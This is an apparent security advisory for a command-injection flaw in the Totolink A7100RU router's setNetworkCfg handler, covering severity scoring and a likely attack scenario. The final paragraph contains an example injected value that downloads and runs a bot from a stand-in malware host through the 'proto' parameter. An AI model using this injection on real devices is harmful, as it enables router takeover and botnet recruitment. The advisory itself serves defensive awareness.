A7100Ru CVE-2026-6114

Remote unauthenticated attacker can exploit the setNetworkCfg function in /cgi-bin/cstecgi.cgi on Totolik A7100RU firmware 7.4cu.2313_b20191024 by manipulating the proto parameter to inject OS commands. No authentication or victim interaction required.

This vulnerability presents CRITICAL real-world risk despite the absence of CISA KEV listing. The CVSS 9.8 score accurately reflects the severity: network attack vector (AV:N) requiring no authentication (PR:N), low complexity (AC:L), and complete system compromise (C:H/I:H/A:H). The existence of publicly available exploit code (confirmed via GitHub repository) means any attacker with basic network access can weaponize this vulnerability immediately. The exploit maturity indicator (E:P for Proof-of-Concept) combined with public POC availability creates immediate exploitation risk for all unpatched devices exposed to networks. Consumer routers are rarely updated and often internet-facing, making this a high-priority target for botnet recruitment, traffic interception, and lateral movement into connected networks. The lack of authentication requirement and remote attack vector means automated scanning and exploitation is trivial. This should be treated as emergency-priority for any organization using affected Totolink routers.

An unauthenticated attacker on the internet scans for Totolink A7100RU routers with exposed management interfaces on port 80/443. Using the publicly available exploit code from GitHub, the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'proto' parameter containing shell metacharacters and injected commands (e.g., '; wget malware.example.com/bot && chmod +x bot && ./bot ;'). The setNetworkCfg function executes this input directly in a shell context with router-level privileges, allowing the attacker to download and execute botnet malware, modify firewall rules to expose internal networks, harvest credentials from router configuration, or pivot to attack connected devices on the LAN.